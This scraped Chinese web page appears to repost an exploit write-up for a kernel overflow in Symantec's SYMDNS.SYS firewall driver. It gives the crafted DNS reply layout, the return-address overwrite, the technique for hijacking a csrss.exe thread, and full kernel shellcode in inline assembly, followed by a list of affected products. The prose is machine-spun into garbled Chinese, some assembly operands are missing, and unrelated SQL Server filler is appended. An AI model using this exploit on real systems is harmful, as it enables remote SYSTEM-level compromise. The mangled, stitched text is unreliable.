MSSQL网页编程之SYMANTEC防火墙内核溢露马脚使用之平安...
由MySQL用来存储数据的文件格式以已经被广泛地测试过,但是总是有外部情况可以导致数据库表被破坏:平安|防火墙作者:SoBeIt来自:https://www.xfocus.net
这个毛病产生在SYMDNS.SYS中,当处置DNS回复时,因为未查验总域名长度,招致能够输出一超长域名招致溢出,溢动身生在RING0、IRQL=2(DISPATCH_LEVEL)、历程PID为0(idle历程)的情况下。
一个DNS报文格局以下:
"xEBx0B"//报文ID,能够随便设置,但在这个毛病里是别有效途的,前面会说到
"x80x00"//报文FLAG,15地位1暗示这是一个回复报文
"x00x01"//成绩数目
"x00x01"//回复数目
"xXXxXX"//受权资本纪录数,在这里不主要,任意设置
"xXXxXX"//分外信息资本纪录数,在这里不主要,任意设置
以上部分为DNS报文头
"xXXxXXx..."//域名,格局为每一个分段域名长度+域名内容,好比www.buaa.edu.cn就是
x03x77x77x77x04x62x75x61x61x03x65x64x75x02x63x6ex00
wwwbuaaeducn
x00暗示到了开端。处置的时分会把那长度纪录数换成0x2e,就是".",就完成了处置。
在SYMDNS.SYS中处置传进域名的函数位于SYMDNS.SYS基地点+0xa76处,这个函数在仓库里分派了充足的空间(现实上,最初SHELLCODE的实行并非在仓库中实行,而是在非分页池中实行)。传进的域名有最年夜长度限定,不克不及凌驾0x40个字节,以是我每段SHELLCODE长度都是0x3f(63)个字节。在掩盖了532个字节后,掩盖了第二个挪用的前往地点,至于为何没掩盖第一个挪用的前往地点我也不太分明。这个毛病有个特性,就是在仓库中二次处置传进的域名,招致仓库中SHELLCODE后半部分改头换面、惨绝人寰。但很侥幸的是在我们掩盖的前往地点地点的esp+0xc处保留有我们全部DNS报文(包含DNS报文头)的地点,是一个在非分页池的地点,
74816d744c816c9b816d002e816c9e34
|_____esp指向这|_______这个就长短分页池的地点
如今人人应当晓得该干啥了吧?固然在内核里没有流动的jmp、call如许的地点,但我们能够变通一下,利用诸如pop/pop/pop/ret如许的指令组合,呆板的把持权就交到我们手上了。不外这3条pop指令里最好不要带有popebp,否则会稀里糊涂的前往到一个奇异的地点。在strstr函数的最初有两个pop/pop/pop/ret的组合挺符合。如今分明开首谁人报文ID的感化了吧?xEBx0B是一个间接跳转的呆板指令,跳过一入手下手没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳太长度计数字节,但0x3f对应的指令是aas,对EAX举行ascii调剂,以是在一样平常不影响EAX和标记的情形下能够把这个0x3f也算作SHELLCODE的一部分,能够省下很多字节^_^。
如今以后情况是0号历程,要把历程地点空间切到其他历程就得先取得谁人历程的EPROCESS地点。0号历程很出格,就是该历程基础不挂在一切历程的链表上,好比说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,一般情形来讲只能列举线程的WaitListHead来列举一切线程并判别历程,如许很贫苦罢了代码很长,但走投无路,在KPCR+0x55c(+55cstruct_KTHREAD*NpxThread)处保留有一个8号历程的一个线程ETHREAD地点,由ETHREAD+0x44处能够取得该线程所属EPROCESS的地点,并且8号历程是挂在除SessionProcessLinks以外的别的链表上的。下一步是切换历程地点空间,从方针历程EPROCESS+0x18处掏出该历程页目次的物理地点并将以后CR3存放器修正为该值既可(我一入手下手还修正了义务段KTSS中的CR3也为该值,了局发明这不是必需的)。然后在该历程内选择一个符合的线程来运转我们的用户态SHELLCODE,这个选择很主要,由于以后IRQL=2,任何会见缺页的地点都将招致IRQL_NOT_LESS_OR_EQUAL蓝屏毛病,由于缺页会招致页面I/O,最初会在工具上守候,这违反了不克不及在IRQL=2守候工具的划定规矩。依照一个尺度的5调剂形态模子的操纵体系,当一个线程守候太久就会招致该线程的内核仓库被换出内存,如许的线程我们是不克不及用的。以是我们必要判别ETHREAD+=0x11e(+11ebyteKernelStackResident)是不是为TRUE。这又干系到事实该选择哪一个体系历程,选择体系历程如许前往的SHELL是SYSTEM的权限,该历程必需是个活泼的历程,才干包管时时刻刻都有未被换出内存的线程。winlogon.exe是一定不可的,由于在年夜多情形下这是一个0事情集历程。在lsass.exe、smss.exe、csrss.exe这3个历程里我最初选择了csrss.exe,由于WIN32的子体系不管如何都应当闲不住吧:),现实也证实选择这个历程基础都能够找到符合线程。列举一个历程的线程能够在EPROCESS+0x50处取链表头,该链表链住了该历程的一切线程,链表地位在ETHREAD+0x1a4处:
struct_EPROCESS(sizeof=648)
+000struct_KPROCESSPcb
+050struct_LIST_ENTRYThreadListHead
+050struct_LIST_ENTRY*Flink
+054struct_LIST_ENTRY*Blink
struct_ETHREAD(sizeof=584)
+000struct_KTHREADTcb
+1a4struct_LIST_ENTRYThreadListEntry
+1a4struct_LIST_ENTRY*Flink
+1a8struct_LIST_ENTRY*Blink
大概EPROCESS+0x270处取链表头,链表地位在ETHREAD+0x240处:
struct_EPROCESS(sizeof=648)
+270struct_LIST_ENTRYThreadListHead
+270struct_LIST_ENTRY*Flink
+274struct_LIST_ENTRY*Blink
struct_ETHREAD(sizeof=584)
+240struct_LIST_ENTRYThreadListEntry
+240struct_LIST_ENTRY*Flink
+244struct_LIST_ENTRY*Blink
剩下的就是在该历程地点空间内分派假造地点,锁定,并拷贝SHELLCODE已往,顺次挪用API为:ZwOpenProcess(这里要注重,假如没改动CR3的话这个挪用会招致蓝屏,由于地点空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用moveax,APINUMBER;int2e如许的底层接口来挪用API。在挪用ZwWriteVirtualMemory之前我们得先修正该线程下主要实行的EIP,它是保留在KTRAP_FRAME+0x68处,把它修正为我们分派的地点。KTRAP_FRAME在线程仓库底-x29c的中央,ETHREAD+0x128间接指向该地点。记得将本来的EIP保留在我们的用户态SHELLCODE中,相似push0x12345678;ret如许的格局,代码就会前往12345678的地点,以是在内存中就是x68x78x56x34x12xc3,掩盖谁人12345678就好了,在实行完我们的功效代码后线程会恢复一般实行。
最初一段是一些流动的针对该毛病的特性前往,恢复一些存放器值,把ESP指向前往地点并让EBP恢复一般。这里我跳过了一切剩下的在SYMDNS.SYS的挪用,由于那样会从仓库中取值,而仓库值良多都被我们改了,以是我间接前往到tcpip!UDPDeliver处的挪用,前往这里有个优点,就是它完整不论你处置了甚么、怎样处置,它尽管检测前往值,很切合我们的请求,呵呵。
这个SHELLCODE也许只要3/4的乐成率,由于在有些情形下我们的DNS报文的地点不附加在esp+0xc处,另有偶然会碰着历程一切线程都被换出了内存,另有必定的小几率会产生NDIS逝世锁-_-偶然候RP发作时一天都没啥成绩,偶然假造机狂蓝屏。。。以是我的使用办法还不很成熟,还但愿人人一同来会商完美。有关内核溢出里最年夜的成绩估量就是缺页的成绩了,因为IRQL=2下不克不及换页,以是有些情形下极可能有些关头的中央会见不了。一些变通的办法可使用诸如workitem,这能够在IRQL=2下挪用,然后由体系事情者线程来替我们完成事情。这都是些改善假想。弄定了平安前往的办法,如今正在KO非平安前往,估量也不是很难,但就是估量SHELLCODE会年夜良多。
峰会上因为FLASHSKY年夜牛不愿泄漏源代码,以是只好本人下手,人给家足了。这段工夫因为得温习补考(上学期一不当心挂了4门#_#),以是拖了这么久。实在代码很早就写好了,就是懒得写这篇文档。今早终究下定决计花了一上午完成了这篇文档,估量不免有甚么毛病,看人人指出。
SHELLCODE由内核SHELLCODE和用户SHELLCODE构成,内核SHELLCODE卖力前往并实行用户SHELLCODE,用户SHELLCODE则是一般的功效,注重得到场穿防火墙的代码就行。上面是内核SHELLCODE代码,转成呆板码只要260多个字节,基础不算太年夜:):
__declspec(naked)JustTest()
{
__asm
{
callgo1
go1:
popeax
pusheax
movebx,0xffdff55c
movebx,dwordptr
movebx,dwordptr
push0x73727363
FindProcess:
movedi,esp
leaesi,dwordptr
push0x4
popecx
repecmpsb
jecxzgo2
movebx,dwordptr
subebx,0xa0
jmpFindProcess
go2:
popedx
movedx,dwordptr
FindThread:
movzxecx,byteptr
dececx
jecxzgo3
movedx,dwordptr
jmpFindThread
go3:
moveax,dwordptr
movebp,esp
subesp,0x40
pushedx
movcr3,eax
push0x10
popecx
xoreax,eax
leaedi,dwordptr
ZeroStack:
stosd
loopZeroStack
movbyteptr,0x18
leaedi,dwordptr
pushedi
leaedi,dwordptr
pushedi
leaedi,dwordptr
push0x1f0fff
pushedi
moval,0x6a
leaedx,dwordptr
int0x2e
addesp,0x10
testeax,eax
jnzFailed
movbyteptr,0x2
push0x40
push0x1000
leaedi,dwordptr
pushedi
pusheax
leaedi,dwordptr
pushedi
pushdwordptr
moval,0x10
leaedx,dwordptr
int0x2e
addesp,0x18
testeax,eax
jnzFailed
push0x2
leaebx,dwordptr
pushebx
leaebx,dwordptr
pushebx
pushdwordptr
moval,0x59
leaedx,dwordptr
int0x2e
addesp,0x10
testeax,eax
jnzFailed
movedi,dwordptr
popedx
movedx,dwordptr
pushdwordptr
popdwordptr
pushdwordptr
popdwordptr
addedi,0x11c
pusheax
push0x120
pushedi
pushdwordptr
pushdwordptr
moval,0xf0
leaedx,dwordptr
int0x2e
addesp,0x14
Failed:
addesp,0xec
xoreax,eax
movesi,dwordptr
movebp,esp
addebp,0x88
ret0x2c
}
}
PS:存在该毛病的SYMANTEC产物有:
*-SymantecNortonInternetSecurity2002
*-SymantecNortonInternetSecurity2003
*-SymantecNortonInternetSecurity2004
*-SymantecNortonInternetSecurityProfessional2002
*-SymantecNortonInternetSecurityProfessional2003
*-SymantecNortonInternetSecurityProfessional2004
*-SymantecNortonPersonalFirewall2002
*-SymantecNortonPersonalFirewall2003
*-SymantecNortonPersonalFirewall2004
*-SymantecClientFirewall5.01,5.1.1
*-SymantecClientSecurity1.0,1.1,2.0(SCF7.1)
*-SymantecNortonAntiSpam2004
该代码在windows2000Probuild2195sp4的假造机上测试经由过程,WINXP道理一样。
支持大型的数据库。可以处理拥有上千万条记录的大型数据库。 学习SQL语言的话如果要学会去做网站就不是很难!但是要做数据库管理的话就有难度了! SP4是一个累积性的ServicePack,包含自以前的ServicePack发布以来所有的修补程序(包括MS03-031安全公告)。 SP4包括用于以下SQLServer2000组件的程序包:Database组件(下载文件:SQL2000-KB884525-SP4-x86.EXE)更新SQLServer2000的32位Database组件,包括数据库引擎、复制、客户端连接组件及工具。有关其他信息,请参阅ReadmeSql2k32Sp4.htm。AnalysisServices组件(下载文件:SQL2000.AS-KB884525-SP4-x86.EXE)更新SQLServer2000的32位AnalysisServices。 如果,某一版本可以提供强大的并发响应,但是没有Oracle的相应版本稳定,或者价格较贵,那么,它就是不适合的。 where子句的作用是在对查询结果进行分组前,将不符合where条件的行去掉,即在分组之前过滤数据,条件中不能包含聚组函数,使用where条件显示特定的行。 现在是在考虑:如果写到服务器端,我一下搞他个10个存储过程导过去,那久之服务器不就成垃圾箱了吗?即便优化了我的中间层. 备份方面可能还是一个老大难的问题。不能单独备份几个表总是感觉不爽。灵活备份的问题不知道什么时候才能解决。
页:
[1]